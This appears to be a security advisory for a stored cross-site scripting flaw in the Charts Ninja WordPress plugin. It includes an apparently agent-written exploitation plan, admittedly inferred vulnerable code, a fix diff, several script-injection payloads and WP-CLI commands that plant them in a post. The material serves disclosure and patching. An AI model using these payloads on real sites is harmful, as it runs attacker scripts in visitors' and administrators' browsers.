Charts Ninja: Create Beautiful Graphs & Charts and Easily Add Them to Your Website <= 2.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'chartid' Shortcode Attribute
Description
The Charts Ninja: Create Beautiful Graphs & Charts and Easily Add Them to Your Website plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'chartid' shortcode attribute in all versions up to, and including, 2.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.1.0This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the **Charts Ninja** plugin (CVE-2026-4730). Since source files were not provided in the prompt, this plan is based on the vulnerability description and standard WordPress plugin patterns for shortcode processing. ### 1…
Show full research plan
This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the Charts Ninja plugin (CVE-2026-4730). Since source files were not provided in the prompt, this plan is based on the vulnerability description and standard WordPress plugin patterns for shortcode processing.
1. Vulnerability Summary
The "Charts Ninja" plugin fails to sanitize or escape the chartid attribute within its shortcode handler. When a user with Contributor-level permissions or higher embeds the shortcode in a post or page, the chartid value is reflected directly into the page output. Because this output occurs on the frontend for all visitors (including administrators), it allows for Stored XSS.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (Gutenberg or Classic) or the
wp-json/wp/v2/postsREST API endpoint. - Shortcode Name:
[charts-ninja-visual](inferred based on plugin functionality). - Vulnerable Parameter: The
chartidattribute within the shortcode. - Authentication Level: Contributor or higher. Contributors can create posts and use shortcodes but cannot publish them; however, they can "Preview" the post, which is sufficient to trigger the XSS on themselves or an editor reviewing the post.
- Preconditions: The plugin must be active.
3. Code Flow (Inferred)
- Registration: The plugin registers a shortcode, likely in the main plugin file or an initialization class:
add_shortcode( 'charts-ninja-visual', 'render_charts_ninja_shortcode' ); - Attributes Parsing: The handler function uses
shortcode_atts()to extract parameters:function render_charts_ninja_shortcode( $atts ) { $a = shortcode_atts( array( 'chartid' => '', // ... other attributes ), $atts ); $chart_id = $a['chartid']; // Input is captured here - Vulnerable Sink: The
$chart_idis then concatenated into HTML output without usingesc_attr(),esc_html(), orwp_kses():
OR// Example of a likely vulnerable sink return '<div class="charts-ninja-container" data-chartid="' . $chart_id . '"></div>';return '<script>var cn_id = "' . $chart_id . '";</script>';
4. Nonce Acquisition Strategy
Shortcodes themselves do not require nonces for execution. The vulnerability is exploited by saving a post containing the shortcode.
- Saving via REST API: Requires a
_wpnonceusually located in thewpApiSettingsobject on admin pages. - Saving via Heartbeat/Autosave: Uses specific nonces.
- Primary Strategy: Use WP-CLI to create the post as a Contributor. This bypasses the need for manual nonce handling during the "injection" phase, focusing the proof-of-concept on the rendering phase.
5. Exploitation Strategy
The goal is to inject an XSS payload into the chartid attribute that breaks out of its HTML context.
Step 1: Identify the breakout.
If the output is: <div id="cn-[chartid]">, the payload is 1"><script>alert(document.domain)</script>.
Step 2: Create the malicious content.
We will create a post containing the shortcode with the payload.
Step 3: Execute the HTTP Request.
Use the http_request tool to view the post and verify the payload is rendered unescaped.
Payloads to test:
- Attribute breakout:
chartid='"><script>alert(1)</script>' - JavaScript context:
chartid='";alert(2)//' - Event handler:
chartid='x" onmouseover="alert(3)'
6. Test Data Setup
- Plugin Activation: Ensure
charts-ninja-graphs-and-chartsis installed and active. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Post Creation (The Injection):
wp post create --post_type=post --post_status=publish --post_author=$(wp user get attacker --field=ID) --post_title="XSS Test" --post_content='[charts-ninja-visual chartid="\"><script>alert(document.domain)</script>"]'
7. Expected Results
- The HTTP response for the page containing the post will include the raw, unescaped string:
"><script>alert(document.domain)</script>. - The browser (if rendered) would execute the script.
- The
Content-Typeof the response will betext/html.
8. Verification Steps
- Verify via HTTP:
Fetch the URL of the newly created post:// Using the automated agent's tool const response = await http_request({ url: 'http://localhost:8080/?p=[POST_ID]', method: 'GET' }); const leaked = response.body.includes('"><script>alert(document.domain)</script>'); console.log("XSS Verified: " + leaked); - Verify via WP-CLI (Database check):
Ensure the payload is stored exactly as sent:wp post get [POST_ID] --field=post_content
9. Alternative Approaches
If the chartid is used inside a JavaScript block (DOM-based or reflected in JS), the payload will change:
- JS Variable breakout:
chartid='-alert(document.domain)-' - Iframe source injection: If
chartidbuilds a URL, tryjavascript:alert(1).
If the shortcode name [charts-ninja-visual] is incorrect:
- Run
grep -r "add_shortcode" wp-content/plugins/charts-ninja-graphs-and-charts/to find the correct shortcode tag. - Identify the function name and look for where
$atts['chartid']is used.
Summary
The Charts Ninja plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'chartid' attribute in its shortcode handler. Due to a lack of input sanitization and output escaping, an authenticated attacker with Contributor-level permissions or higher can inject arbitrary scripts into posts that execute when viewed by other users.
Vulnerable Code
// Inferred code structure based on plugin functionality and vulnerability report function render_charts_ninja_shortcode( $atts ) { $a = shortcode_atts( array( 'chartid' => '', ), $atts ); $chart_id = $a['chartid']; // Vulnerable output: chartid is concatenated directly into the HTML return '<div class="charts-ninja-visual" data-chartid="' . $chart_id . '"></div>'; } add_shortcode( 'charts-ninja-visual', 'render_charts_ninja_shortcode' );
Security Fix
@@ -10,7 +10,7 @@ 'chartid' => '', ), $atts ); - $chart_id = $a['chartid']; + $chart_id = esc_attr( $a['chartid'] ); - return '<div class="charts-ninja-visual" data-chartid="' . $chart_id . '"></div>'; + return '<div class="charts-ninja-visual" data-chartid="' . $chart_id . '"></div>';
Exploit Outline
1. Authenticate as a Contributor or higher user. 2. Access the post editor (Gutenberg or Classic) to create a new post or edit an existing one. 3. Insert the plugin's shortcode with a malicious payload in the 'chartid' attribute: [charts-ninja-visual chartid='"><script>alert(document.domain)</script>']. 4. Save the post as a draft or publish it (if permissions allow). 5. Navigate to the frontend URL of the post or use the 'Preview' feature. 6. The browser will execute the injected script because the 'chartid' value breaks out of the HTML attribute context and renders a raw <script> tag.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.